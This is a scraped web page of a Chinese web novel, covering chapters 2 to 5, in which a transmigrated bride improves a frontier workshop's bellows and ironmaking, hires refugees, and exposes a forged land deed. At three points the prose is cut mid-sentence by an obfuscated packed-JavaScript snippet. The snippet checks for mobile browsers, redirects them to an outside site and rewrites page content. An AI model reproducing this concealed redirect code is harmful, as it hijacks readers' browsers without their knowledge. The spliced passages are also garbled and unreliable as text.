《假千金她竟是工科大佬》 2. 侯府 “小畜生！”卫兵怒喝一声。 他挣扎着又要搭箭，被卫兵一脚狠狠踢到膝窝，这个人扑倒在地。 弩箭脱手飞出，箭簇滚到李绍英脚边。她弯腰捡起，放在指间细细摩挲，飒然的脸上愁容顿显。 “留活口！”李绍英蹙眉，声音斩钉截铁，“带回去，严加看管！” 成亲的队伍被胡人冲得七零八落，没几个活人，喜轿也已经被马蹄踏成残骸，仅存的几名仆役此刻瑟缩地像鹌鹑。 姜晚不会骑马，这人迹罕至的北境更不会有其他车马通行，李绍英瞥见她眼底的无措：“夫人若不介意，可与末将同乘。” 一路无话，李绍英攥着缰绳的手指关节发白，目光时不时落在刚刚从胡人少年那里收缴来的箭簇上，神色凝重。 姜晚正想开口询问，李绍英勒紧缰绳，声音低沉。 “到了。” 姜晚抬眼望去，所谓的侯府，不过是一座稍大些，但同样破败冷清的院落，院内仆从寥寥，个个面有菜色，眼神麻木，如同行尸走肉。 “这就是……侯府？” 记忆中，镇北将军满门殉国，只余下次子萧砚拖着残躯，从尸山血海中拼杀出来。圣上感念其父兄忠勇，遂封其为“定北侯”，许其承袭镇北将军遗志，与麾下李氏旧部世代戍守苦寒边陲。 “无诏，不必进京。” 人们都道圣上此举看似体恤，实为放逐。 依侯府现在的境况，看来所言非虚。 偌大的府邸，笼罩在死气沉沉的压抑之下。 李绍英没有回答，沉默地翻身下马，又利落地将姜晚扶下。 接亲侍女从门内走出，来到姜晚面前福了福身，接过她简单的包袱：“夫人受惊了，侯爷吩咐，请夫人先随奴婢到厢房梳洗安置。” 姜晚疑惑：“不用拜堂成礼的吗？” “侯爷行动不便，一切从简。” “况且夫人舟车劳顿，还是先歇息为好。”侍女偷眼打量着姜晚破碎脏乱的嫁衣，补充道。 姜晚会意地扯了扯衣襟。确实，她现在这副刚从尸山血海里爬出来的模样，实在不适合行什么合卺之礼。 她跟着侍女穿过荒芜的庭院，来到西侧厢房处。 所谓的西侧房间，陈设极其简陋。一张硬板床，一张缺了角的木桌，一把瘸腿的椅子，便是全部。 侍女放下姜晚的半旧包袱，低声道：“夫人稍等，奴婢这就去给您准备热水和新衣。” 她退出后，屋内彻底陷入沉寂。姜晚随手将包袱丢在瘸腿的椅子上。椅子晃了晃，顽强地没倒。 对于那个凭空出现的系统，她也算摸出了些许门道。 据系统所言，这方世界是宇宙中无数小世界之一。她所在的地方，当朝国号大晟，乃前晟王顺应民意，起兵推翻横征暴敛、豺狼当道的前朝所立。 前朝昏庸无度，取之尽锱铢，再加上连年战乱，致使这方世界积贫积弱，百业凋敝。经总系统综合评估，该世界民生幸福指数极低，是将近崩溃的等级。 因此，总系统分出118号系统，让其择取优秀宿主挽救这个小世界。 在系统中能看到这个世界的资源利用、文教普及等各项指标，更有一幅实景舆图，其上星罗棋布，清晰标注着无数深埋地下的矿藏。 这个世界并不贫瘠，甚至可以说是丰饶。只是明珠蒙尘，没有技术去发现、挖掘。 想提升民生幸福指数，就要充分利用这些不为人知的资源。 姜晚眉宇间被浓浓的忧愁笼罩。 可这里，是定北侯的地盘，是北境军镇，即便她来自现代，也知道私铸盐铁，私挖矿藏是重罪。 她空有藏宝图，若无许可，便是怀璧其罪，恐怕会招惹灭顶之灾。 姜晚叹了口气，或许她可以寻求机会，与那素未谋面的“夫君”合作？ 侍女备好热水后，姜晚细细洗净一身风尘，换了身素净的藕荷色衣裳。洗去血污和炭灰后，铜镜中映出的是眉目如画的连，肌肤胜雪，唇若点朱。 她绾起半干的青丝，信步走出厢房，唤来侍女：“带我去见见侯爷。” 侍女面露难色：“回夫人，侯爷正与将军议事，吩咐不许人打扰……” “无妨，”姜晚道，“我等他便是。” 侍女颔首，随后引她来到侯府深处的一处书房前。这处院子远离前厅喧嚣，位置偏僻，曲径通幽，寒风掠过时，卷来几缕清幽药香，夹杂着隐约的谈话声。 “……胡人又在饮马河畔劫掠了三处村落，末将带人追击三十里，斩首二十级，这帮蛮子最近越发猖狂，入冬才多久？这都第七回了！” 书房内，萧砚披着件半旧的浅灰色薄绒狐裘，乌发仅用一根朴素木簪简单挽起，瘦削的身体深陷在轮椅中，腿上覆着厚厚的毛毯，苍白修长的手指正无意识地摩挲着那卷明黄圣旨。 “更可恨的是，”李绍荣一拳砸在案几上，震得茶盏叮当作响，“他们居然敢去劫掠侯府成亲的车驾，要是绍英晚到一步，后果真是不堪设想。” 萧砚指尖倏地顿住。 “说起这个，你那位从京城来的夫人真是厉害，听说她不知用的什么手段，居然弄死了阿六敦。” “当真？” 轮椅上的身影终于动了动。 “那还能有假？我妹亲眼所见，对了，她还送来了这个东西，”李绍荣从怀中掏出一支箭簇，“是从那个胡崽子身上缴获的。” 萧砚接过箭簇，细细打量片刻，眸光沉郁。 “看这淬火痕迹，绝不是那帮蛮子能炼出来的。 “莫说胡人，”箭簇在萧砚指间翻出冷光，“就是工部那帮人也炼不出这等成色。” 李绍荣颔首：“没错，所以绍英怀疑……” 萧砚道：“这场劫掠，并非偶然。” “那个活口呢？” 李绍荣不自觉按住刀柄：“关在地牢，嘴硬得很。” “审，”萧砚的声音毫无波澜，却带着不容置疑的力量，“用尽法子撬开他的嘴，务必查出是谁在背后递刀。” 这时，门外传来一道清晰的声音： “我有办法，或可解决北境冶铁之困。” 书房门空气瞬间凝固。 萧砚的目光看向门扉：“进来。” 门被推开，姜晚缓步而入。她背脊挺直，身板单薄纤柔，气质却俊逸挺拔如傲岸的寒梅，身有着不属于闺阁小姐的沉静锐气。 李绍荣见来人，立即抱拳行礼：“末将参见夫人。” 姜晚颔首回礼，目光径直投向轮椅上的萧砚：“侯爷方才谈到精铁箭簇，可否让我观察一二？” 萧砚眉梢几不可察地动了一下，沉默瞬息，淡淡道：“拿给她。” 很快，那只箭簇被递了过来，姜晚垂眸看去，正是之前李绍英手中的那枚。 箭矢入手沉重，指腹细细擦过棱面尖端，指甲在不起眼的根部轻轻一划—— 一道极浅的白痕。 又屈指在箭簇上一弹。 “叮——” 一道清脆短促的回响在书房内荡开。 姜晚的心沉了下去。 她抬起头，眼神凝重：“此箭所用之铁，杂质极少，硬度韧性皆非寻常生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896199|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁可比。其冶炼、锻造、淬火技艺，均属上乘。” 她顿了顿：“工艺之高超，绝非寻常铁匠可为。” 她的语气专业得像个老工匠，而且对当前炼铁的弊病也直指痛点，一抹惊异神色在李绍荣眼中浮现。 一个长于深闺，养尊处优的千金小姐，怎会如此深谙冶铁之道？ 萧砚的声音听不出喜怒：“你怎会懂这些？” “家父曾任军器监少监，”姜晚面不改色地编造原主记忆，“自幼耳濡目染，略懂一些。” 萧砚指尖在轮椅扶手上轻轻敲击，目光中多了一丝审慎：“依你之见，当如何破解眼下困局？” 姜晚随手拿起桌上笔墨，就着油灯的光线，在一张白纸上快速勾画起来。 线条简洁，结构清晰。一个改良后的立式双动活塞风箱草图，在她手下迅速成型。重点标注了风道走向、活门位置与杠杆结构等优化点。 寥寥数笔，却直指传统风箱送风不稳、效率低下的缺点。 “此地的炼炉风箱老旧，送风不足，炉温难达以达到标准，使得铁矿杂质难除，故铁器脆而易折，良品十不足一。” 她语速平稳，点出问题要害，指尖落在草图关键处。 “然而此物，可增风量三成，稳风压，升炉温，若再配以矿石分拣及焦炭替代木炭之法，铁矿利用率提升五成以上，绝非难事。” 话音落下，堂屋内陷入一片更深的死寂。 探究的目光从姜晚冷静决绝的脸庞，缓缓移向那幅简陋的草图。 最先打破寂静的是李绍荣，他看着草图，眼睛瞪得很大：“这真的能成？” 萧砚：“军需大事，岂能儿戏。” 姜晚目光灼灼：“侯爷不就是不信我有这个能耐吗？不如做个交易如何？” 深潭般的眼眸终于泛起一丝波澜：“说。” 姜晚看向一旁李绍荣，他瞬间了然，抱拳行礼告退一气呵成，现在偌大的书房内，只剩下她与萧砚两个人。 “侯爷戍守边关，当知好铁乃强兵之基。” “而以大晟目前的技术，铁矿利用率恐怕连两成都不到吧？” 她向前一步，眼神炯炯，继续道：“我可以解决冶铁的困局，让整个北境的军需不再捉襟见肘，侯爷若不信，不妨先让我一试。若是不成，大可以按大晟律法处置。” “条件？” “予我开采之权，保我在北境行事无碍。待功成之日，权柄尽数奉还。” 萧砚蹙眉：“你要这些做什么？” 姜晚：“如果我说是为了造福百姓你信吗？” 萧砚眸光微动。 “功成之后你想要什么？自由？” 姜晚眼神清亮：“当然，事成之后，我们立刻和离，从此两不相干。你不想娶，我也不想嫁，何必在这场荒唐的婚事里相互折磨？” 萧砚眸光骤沉：“和离？” 姜晚点头。 “这是圣旨赐婚，除非陛下点头，或者你我之中有人身死，否则，这婚，离不了。” 姜晚：…… 不好意思，我是史盲。 但这又有什么关系？ 那个存在她意识中的，只有她能看到的系统可是下过保证的，只要她完成任务就能回家，管什么圣旨不圣旨的。 “别管那些条条框框，我自有脱身之法。” 萧砚沉默了许久，周遭寂静无声，姜晚几乎能听到自己紧张到炸裂的心跳声。 终于，他抬起眼，声音低沉： “三日后，午时，城西铁官府。” “证明给本侯看。” 3. 令牌 萧砚给的时间非常紧张，那日她为了尽快取得信任画的草图终究过于简略，是以她又花了半日光阴伏案细琢。 一笔一划，横平竖直，事无巨细，皆跃然纸上，精妙如同墨线弹就，堪称人体打印机。 当她将这幅精工细作的图纸交予工造坊，命其连夜赶制时，接图之人无不倒吸冷气。 这真的是人能画出的吗？ 紧赶慢赶，终于在期约之日将风箱赶制了出来。 三日后，午时，城西铁官府。 寒风卷着铁锈与煤灰的气息充斥在工坊内，巨大的炼炉匍匐在院落中央，炉火熊熊，在人脸上投射出橙黄色的亮光。 姜晚离炼炉最接近，裹着一件厚实朱红斗篷，站在一帮铁匠中间，不远处是神色淡然的萧砚和李绍荣。 空气中弥漫着无形的压力，原本热闹喧嚣工坊，今日格外安静。 平日将军来巡视也就罢了，大家都彼此都很熟络，可现在侯爷亲临，那情况就不一样了，谁敢造次？ 匠人纷纷打起十二分精神，大气也不敢出。 “夫人，按您画的图，东西赶出来了。” 一个须发花白，脸上皱纹纵横的老工匠，指着炉旁一个结构略显复杂的巨大木制风箱说道。 他声音苍老，语气中毫不掩饰对这新奇之物的怀疑与倨傲。 老工匠身边围着的几个同样年长的匠人，眼神里同样写满了不信任。 这风箱与他们惯用的单动式风箱截然不同，不仅多了许多活门连杆，还多了一个活塞，这是哪门子风箱啊！长得奇形怪状的，任谁都没见过。 姜晚全神贯注地检查着风箱，并没有听出他语气中的不满，只是点点头，神色平静地指挥道： “点火，鼓风。” 王工匠哼了一声，示意徒弟拉动风箱。 巨大的木柄被两个壮汉合力推动，伴随着沉重的呼哧声，一股强劲的气流通过风道涌入炼炉。 炉内的橘黄色的火焰肉眼可见地蹿高了一截，不断跳动拔长的焰苗疯狂舔舐炉壁，发出骇人的呼啸。 “嚯！” 围观的年轻匠人发出一阵低低的惊呼。 这风量确实比旧风箱大了不少！ 李绍荣眼中闪过一丝讶异，看向萧砚。萧砚目光落在炉火上，只是静静地看着，看不出在情绪上有什么太大的起伏。 风箱顺利运行，姜晚却微微蹙眉。 在嘈杂的风声中，她敏锐地听到了“嘶嘶”的声响。 这表明风箱中的气流并非完全稳定，活塞与箱体结合处似乎有细微的漏气声。 她快步走上前去，仔细检查风箱的各个连接处，不放过任何一个死角。 “王师傅，这活塞与箱体间的密封，你们是用什么处理的？”姜晚问道。 王工匠有些不耐烦：“还能用什么？老法子，浸过油的麻绳填缝呗！咱们一直这么干的，也没见出什么大岔子。” 姜晚的心沉了一下。 麻绳浸油在低压下勉强可用，但对于追求更高风压，且稳定送风的双动活塞风箱来说，密封性远远不够。 明明在画就那份图纸时，她特意在上面强调过很多次，这种风箱需要更严密的密封材料，比如薄铁皮内衬软木或耐高温的胶泥。 她在图纸上这么用心，就是为了防止现场出现纰漏，破坏定北侯对她的信任。 没想到还是出了岔子。 “这不行，”姜晚眉头紧拧，语气斩钉截铁，“这种方法做成的风箱密封太差，漏气严重，风压不稳，杂质难熔，必须重新处理密封！” 王工匠是干了几十年的老匠人，镇北将军还活着的时候，他就已经是将军府铸造军需的工匠。如今他在铁官府德高望重，一向都是他训斥别人，哪有别人训斥他的份？更何况还是一个什么都不懂的小丫头片子！ 他老脸一红，梗着脖子道： “夫人，这麻绳填缝是祖祖辈辈传下来的手艺！您这新玩意儿，咱们依葫芦画瓢能做出来就不错了！您要求的那劳什子胶泥，咱们上哪儿找去？您站着说话不腰疼！” 周围的工匠也窃窃私语，附和起来，看向姜晚的目光更添了几分怨怼。 一个养尊处优，在锦绣丛中长大的京城小姐，懂得什么是打铁吗？刚嫁进定北侯府还没几天就这么狂妄，不过是乱画一通，瞎指挥罢了！ 姜晚也直言不讳：“知道为什么大晟的冶铁技术一直上不去吗？” 王工匠不屑：“为什么？” “就是因为有像你一样死抱陈规不图进步的人存在，大晟才一直炼不出好铁。” “你……！”王铁匠被这句话噎住，勃然大怒，正欲反驳。 萧砚目光淡淡扫过王铁匠，李绍荣沉声喝道，带着警告：“王师傅，侯爷可是吩咐过的，一切听从夫人的安排，你想抗命吗？” 王铁匠这才悻悻闭嘴，但脸上依旧写满不服。 姜晚深吸一口气，压下心头的不快。 她知道，光靠命令无法服众，尤其是在这些靠手艺吃饭的老师傅面前。 这是革新必然会遇到的一步，以后只怕会更多。 姜晚环顾四周，目光落在角落里堆放的一些处理过的兽皮和一小罐用来粘接箭羽的树胶上。 “取几张薄韧的熟皮子来，再拿那罐树胶！”姜晚果断下令。 众人不明所以，但还是有人依言取来。 姜晚亲自动手，指挥几个年轻人将熟皮子剪裁成细条，然后仔细地将其一层层地缠绕在活塞边缘。每缠一层，便均匀涂抹上粘稠的树胶，再用力压实。 王工匠冷眼旁观，嘴角撇着，显然不信这种缝缝补补的法子能顶用。 密封处理完毕，重新安装好活塞。姜晚亲自检查了各处连接，确认无误后，沉声道：“再试！” 风箱再次拉动。 这一次，风箱传来的呼哧声明显更加沉闷有力，少了之前的杂音。 强劲稳定风持续不断地涌入炼炉，风力上来后，炉火瞬间暴涨，颜色由橘红变为刺眼的亮白 “轰！” 火焰燃烧的声音。灼热的气浪扑面而来，逼得靠近炉口的匠人都不由自主地后退了几步，连带着整个工坊的温度也升高几度。 “我的老天爷……” 一个年轻匠人失声叫道，他们从没见过这种盛况，此时眼睛瞪得溜圆。 王工匠脸上的不屑早已消失无踪，取而代之的是难以置信的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896200|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情。 他死死盯着那稳定燃烧的白色烈焰，嘴唇翕动，喃喃道：“这……这炉温……成了！真成了！比往日最高的时候还要高出一大截！” 所有的质疑在这一刻戛然而止。 匠人们看着那从未达到过的炉温，看着姜晚的背影，眼神彻底变了。 那是混杂着震撼、羞愧与一丝敬畏的目光。 姜晚抹了把额角的细汗，心中也松了口气。 她转向萧砚，声音清朗： “炉温已达标，现在，可以投入精选的矿石和焦炭了。” 少女的声音中带着不容置疑的自信： “一个时辰后，开炉验铁！” 等待的时间格外漫长。坊内只剩下炉火燃烧的轰鸣和人们紧张的呼吸声。 时辰一到，开炉！ 赤红铁水缓缓流出，慢慢流入事先准备好的沙模中。待铁水冷却凝固，一块块泛着深灰色金属光泽的铁锭呈现在众人眼前。 王工匠迫不及待地抢上前，拿起一块冷却的铁锭，反复摩挲敲击，铁锭悦耳的响声回荡在四周。 他脸上露出诧异的神情，仿佛不甘心，又拿起一把锤子用力砸下。 “铛！” 清脆悦耳，不似往常生铁的沉闷。在他竭尽全力的锤击下，铁锭并未碎裂，只是留下一个浅浅的白点。 “好铁！真是好铁！” 王工匠激动得声音都变了调，老泪纵横。 虽然他不喜姜晚对他呼来喝去的态度，可当看到那一块块乌沉沉似墨玉的铁锭时，所有的不满与怨怼，都化作了来自肺腑的赞叹。 “杂质少，够硬！韧性也好！侯爷，夫人她没骗人！这铁，比咱们以前炼的强了不知多少倍，良品率绝对过五成了！” 整个铁官府瞬间沸腾。 困扰大晟多年的难题，没想到竟真的被这位看似娇弱的侯府夫人解决了。 姜晚静静地站在那里，火光为她清丽地面容镀上一层金边，眼神沉静如水，仿佛这一切喧嚣都与她无关。 她信步走到萧砚身边：“如何？不知侯爷可满意？” “你……”萧砚开口，声音轻浅，却清晰地穿透众人的喧闹，每个字都敲到姜晚紧绷的心弦上，“需要什么？” 不是质问。 是询问。 姜晚大喜过望，将她需要的权限都说了出来。 有些权限涉及民生诸事，本以为会被拒绝，没想到他沉默了片刻，便对亲卫微微颔首。 亲卫立刻上前，双手捧上一个巴掌大的玄铁令牌，上面是一个用篆体雕刻而成“萧”字，一笔一划都藏着凌厉。 “此乃本侯令牌。北境之内，凡矿藏勘探、工坊筹建、匠人调度、物资调配，见此令如见本侯，无人敢扰。” 他眸光深沉：“你想要的，都给你了，望你莫负此令。” 姜晚接过沉甸甸的玄铁令牌，触感冰凉。 第一步，成了！ 她迎着萧砚的目光，唇角微扬，一字一句，铿锵有力：“侯爷放心，静待佳音便是。” 接下来…… 姜晚斗志昂扬。 建工坊，革新术。 北境的天，该变一变了。 4. 以工代赈 拿到令牌后，姜晚想做的第一件事，就是修建一座新式工坊。 工欲善其事，必先利其器，这座沿用数十年的老工坊设备老旧落后，而且选址太差，离系统标注的最佳矿脉足足有二十余里，仅运输耗费的骡马钱粮都是一大笔开支。 当天，她迫不及待地展开北境舆图，在上面标注出系统显示的几处优质矿脉。 其中城西三十里的临水坡，姜晚用朱笔重重地画了个圈。 门外传来三声短促的叩门声。 “进来。”姜晚头也不抬，手中朱笔继续在图上勾画。 木门吱呀一声推开，李绍英大步走入，身上带着北境地牢里特有的阴冷潮气。 “侯爷命末将送来那胡人的口供，请夫人过目。” 姜晚这才将目光从舆图移到她脸上，神色不解：“给我过目？审出什么要紧事了？” 李绍英将竹简交到姜晚手中，轻轻摇头：“那胡人嘴硬的很，只肯说是京里来的人，其余的一概不答。” “他倒是一直嚷嚷着要见炸死他父亲的人。” 姜晚快速扫过供词，突然轻笑一声：“他这是把我当杀父仇人了？” “或许要夫人亲自去一趟，才能让他多吐出些东西来。” 姜晚将竹简卷起，思索片刻。京里的人……这个供词委实让她意外。 原主在京城时深居简出，除了平昌侯府真假千金那档子事，哪有机会与人结仇？更遑论勾结胡人取她性命。若说是平昌侯所为…… 她摇头否定了这个荒谬的想法，那位养父虽凉薄，却也不至于用这等掉脑袋诛九族的手段。 从京城到北境，千里迢迢，若真有人想取她性命，路上多的是下手的机会，何必等到她踏入北境地界才动手？ 姜晚甩了甩头，实在搞不明白古人那些权谋算计的弯弯绕，对她而言，当务之急是工坊的选址。 “胡人那边的事容后再议，倒是李将军，你来得正好，”姜晚将舆图往前一推，“可识得临水坡地形？” “这里？”李绍英看着上面鲜艳的朱圈，“荒郊野岭的，连条像样的路都没有。前年剿匪时去过一次，坡下倒是有条溪流，但两岸都是峭壁。” 她忽而想到什么，指向舆图西北侧：“不过往西北三里有个缓坡，地势开阔，取水也便利。” 依山傍水，地势开阔，真是天赐的工坊选址。 “那就这儿了，此地背靠矿藏，前临溪水，若用水力鼓风可比人力剩下三成成本。” “夫人想在这儿建工坊？”李绍英似有顾虑，“可运输……” “我打算沿溪修建滑道，矿产顺流而下，比骡马快得多，”而后转头吩咐道，“对了，明日让王工匠带着他的几个徒弟来见我，我要去实地探查一番。” “那个老顽固？”李绍英虽未亲临现场，却也听说了白日铁官府发生的风波。 “正因如此，才要用他。” —— 翌日，王工匠带上两名土地，和姜晚一起前往临水坡勘察。 晨雾未散，荒草萋萋，隐约可见几缕炊烟袅袅升起。 “夫人，按您指的方向，前面就是临水坡了。”王工匠指着前方一片被薄雾笼罩的荒地。 “这地方……”王工匠欲言又止，最终还是开口道，“唉，您还是别去了。” “为何？”姜晚停下脚步。 系统地图显示，这里不仅有浅层易采的伴生矿，还有一条地下水源，是建造新工坊的绝佳地点。 王工匠面露难色，压低了声音： “夫人有所不知，这地方现在差不多算得上是流民窟了。去年胡人劫掠，北边好几个村子的人逃难过来，没处去，就都挤在这片搭窝棚，少说也有几百号人，脏乱得很。” 姜晚：“官府就放任不管？” “怎么管？”王工匠苦笑一声，“这些流民无田无产，又都是北境子民，官府若强行驱赶，怕是要落个苛政之名，何况北境连年战乱，光一个胡人都够对付的了，哪还顾得了流民？至于朝廷那些大人们，天高皇帝远的，谁会在意我们边陲百姓的死活。” 他继续劝道：“所以官府也头疼，索性睁只眼闭只眼。您要是把工坊建这儿，先不说清理起来多麻烦，光是这些流民安置都要大废一番功夫。” 姜晚凝视着那几缕薄薄的炊烟，眉头微蹙。 她平静道：“过去看看。” 越接近临水坡，景象越发触目惊心。 破烂的窝棚歪歪扭扭地挤在一起，大多是用难以抵挡严寒的树枝破布和泥巴糊成的，衣衫褴褛的人们蜷缩在窝棚口，他们看到姜晚一行人，有的惊恐地缩回去，有的则投来隐隐敌意的目光。 一个穿着稍显整齐，拄着拐杖的老者颤巍巍地迎了上来，看样子是这里的“里正”。 “不知贵人驾临，有何吩咐？”老者声音沙哑，带着卑微的惶恐，眼神警惕地扫向姜晚及王工匠一班人。 “这位是定北侯夫人。”有人沉声道。 人群一阵骚动，麻木的眼神中多了几分畏惧和不安。 定北侯的名头，在这些流民耳中，向来与铁血军法和无情刀锋分不开。 姜晚没有在意那些目光，她看向老者：“老人家，这块地，侯府需征用建立工坊。” 话音一落，如同一盏煮沸的茶，人群瞬间炸开了锅。 “什么？定北侯要赶我们走？” “这里要建工坊？那我们住哪？！” “天杀的！这天寒地冻的，你们是要逼死我们啊！” “侯府就了不起吗？我们就不走！有本事就杀了我老婆子！” 骚动如同瘟疫般蔓延，人群推搡着向前逼近，气氛顿时剑拔弩张。 王工匠吓得脸都白了，直往姜晚身后躲。 姜晚抬手，示意他们稍安勿躁。 她虽然不太了解古代史，但对近代史还是略微涉猎的。 目光平静地扫过激愤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896201|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群，她声音不高，甚至称得上轻柔，此刻却清晰地穿透了嘈杂： “赶你们走？谁说我要赶你们走？” 人群中声浪一滞，所有人都愣住了，连那王工匠也愕然地看向她。 “工坊需要人手，大量的人手。” 姜晚指向身后广袤却荒芜的土地：“建坊、开矿、伐木、烧砖……每一道工序，都需要人。” 随后，她的目光从每个枯瘦的脸上扫过： “管饭，发工钱。” 她的话像一颗石子掷入死水，激起了层层涟漪，人群中迅速出现此起彼伏的窃窃私语。 “管饭？真有饭吃？” “还……还发工钱？” “夫人……您说的是真的？” “千真万确。”姜晚语气笃定。 “愿意出力，守规矩的，明日就可以来应工。但！”她话语一顿，登时让在场人将心都揪了起来，偷奸耍滑的，闹事的，一律按军法处置！” 话语落下，四下寂静。 这个初来乍到的侯府夫人，此刻立在寒风里，身量纤纤却气势凛然。她话语决绝，充满力量，让人不由自主地相信。 流民面面相觑，愤怒被巨大的震惊和期盼取代。 不仅管饭，还有工钱？这简直是他们从前想都不敢想的。 “空口无凭！我们凭什么相信你！说得好听，等你们占了地，翻脸不认人怎么办？！”人群中仍有异音。 姜晚神色不变，她将玄铁令牌高举： “以此定北侯玄铁令为凭！” “我姜晚所言，句句为实。侯府信誉，北境军威，尽系于此。” 短暂的沉默后，是老者激动得发颤的声音：“愿意！夫人，我们愿意！只要给条活路，让我们干什么都行！” 他噗通一声跪倒在地，身后呼啦啦跪倒一片。 王工匠目瞪口呆地看着这一幕，看着那个站在流民中，年纪轻轻的侯府夫人，第一次觉得，自己当时可能真的看走了眼。 姜晚心中稍定，这一关，总也算是过去了。 然而，就在她准备跟老者进一步商讨关于修建工坊的具体细节时，一个阴阳怪气的声音插了进来： “哟！这里今儿个好热闹啊！原来是侯府夫人大驾，夫人真是菩萨心肠，跑到这流民窝里来普度众生了？” 人群分开，一个穿着绸缎棉袍中年胖子，捋着两撇鼠须，带着几个家丁模样的壮汉，大摇大摆地走了过来，三角眼中透出精明。 好不容易安静下来的流民再一次发出喧闹：“是钱有财！” 这个北境有名的粮商兼地头蛇，手里攥着不少铺面和城外零散的无主荒地——当然，是他自认为的无主。 他目光贪婪地扫过这片土地，最后落在姜晚身上，皮笑肉不笑地拱了拱手： “小的钱有财，给夫人请安。夫人有所不知，这临水坡啊，早些年就被小的买下了，地契还在衙门里存着呢！您看这……” 5. 咫尺 钱有财的意思不言而喻，想用这块地？除非先给他点儿好处。 姜晚转过身，目光落在钱有财堆满假笑的脸上。 系统明明白白标注着此处是无主之地，归于侯府管辖。这个钱有财分明是以为她一个深闺女子不懂外务，存心想讹她一笔。 “被你买下了？”姜晚声音清冷，“我倒不知，侯府管辖的地界何时成了你的私产？” “夫人您初来乍到，不熟悉我们这儿的情况，也是常理，”他眼珠滴溜一转，活像只偷到油的老鼠，“这周边三百亩地，三年前就归小的所有了。” “钱有财你放屁！” “我们都在这儿住了这么些年，怎么没见过你这号人？现在倒是出来当地主了？” 流民堆中传来斥骂。 “去！去！一群刁民！”钱有财脸色沉下去，像赶苍蝇一样冲那帮叫嚷的流民挥着手。 “我钱有财菩萨心肠，你们占便宜还有理了？我还没向你们收租呢！按律法，这些年的地租——” 姜晚轻咳一声，打断他的后话：“既然你买下了，地契何在？” 钱有财早有准备，从怀中掏出一卷泛黄的纸，得意洋洋地展开： “夫人请看，这地契白纸黑字上写着，这块地归我钱有财，上面还有官府印信呢。” 说着，特意举起这张纸朝流民的方向晃了晃，引得人群又是一阵骚动不安。 王工匠眯眼仔细端详半晌，没发现什么错处，便凑近姜晚，压低声音提醒道：“夫人，这钱有财和衙门里的几个胥吏称兄道弟的，地契可能是真的。您要真想要这块地，不如回去禀告侯爷，给他点钱打发走算了。” 姜晚沉默不语，连眼皮都没抬一下，更未去接他手中的地契。钱有财以为这深宅妇人被唬住了，继续道： “夫人您看，您要建工坊，这是利国利民的好事，小的也不是不通情理的人，只要夫人按市价将这块地赎买回去，小的绝无二话！立刻让这些人搬走！” 他随意指着那群流民，语气轻蔑。 “哦？”姜晚忽而轻笑，转身对王工匠道，“王师傅，辛苦令徒去郡府一趟，调去临水坡及周边所有地契存根，让主簿亲自送来，不得有误。” 不过半盏茶的功夫，远处尘土飞扬。 郡府主簿赵大人便亲自带着两名书吏快马赶到，手中捧着一个漆木匣子，下马时气喘吁吁，见到姜晚立刻行礼： “下官参见夫人，城西的地契存根都在这儿了。” 姜晚微微颔首，道了声“有劳”，随后接过木匣，取出里面的地契存根，将两份地契并排摊开，目光在纸面上逡巡。 赵主簿擦了擦汗，瞥了一眼站在一旁的钱有财，那厮居然还端着一副气定神闲的模样，心里不由得咯噔一下。 “王师傅，”她默然片刻，突然开口，“我记得你说过，这地方早就成了流民窟。” 王工匠一愣，随机会意：“是啊！这地方荒废多年，从没听说有人买过。” 钱有财一听这话，脸色变得极快，赶忙替自己辩解：“那是他们不知道，小的三年前就……” “三年前？”姜晚打断他，眸子“可这上面的墨迹，好像很新呢。” 围观的流民瞬间哗然，钱有财额头冒出冷汗，可面上依旧平静：“夫人说笑了，这墨与一般墨不同罢了，是松烟墨。” “是吗？”姜晚不紧不慢，又从匣中取出几份其他的地契，“这些是附近村落的地契，都是三年前同期发放的。” 她将这几张地契轻轻举起，对着阳光展开：“官契用纸都是特制的，掺有麻丝，放在光下能看得一清二楚。而你这张……” “好像用的是普通宣纸呢。” 流民中爆发出一阵惊呼，纷纷围上来，伸长脖子张望。王工匠挤到前面，接过两张地契仔细对比，突然瞪大眼睛：“夫人明鉴！这地契上的字像是新近摹写的，墨色都没完全吃透！” 钱有财没料到姜晚居然是个懂行的，这下偷鸡不成反倒蚀把米。 他腿一软，扑通跪倒在地：“夫人饶命！小的也是一时糊涂！” “糊涂？大晟律法可不管你是不是糊涂，”她目光如冰，扫过钱有财瞬间僵住的脸，“伪造地契，强占官地，当杖八十，流放三千里。” 钱有财闻言瘫软在地，整个人都哆嗦了一下。 “不过……”姜晚话锋一转，语调悠悠拖长，带着一丝玩味，“若钱老板愿意将功折罪……” 钱有财如蒙大赦，眼睛骤亮 ，磕头如捣蒜：“小的愿意！夫人尽管吩咐！” 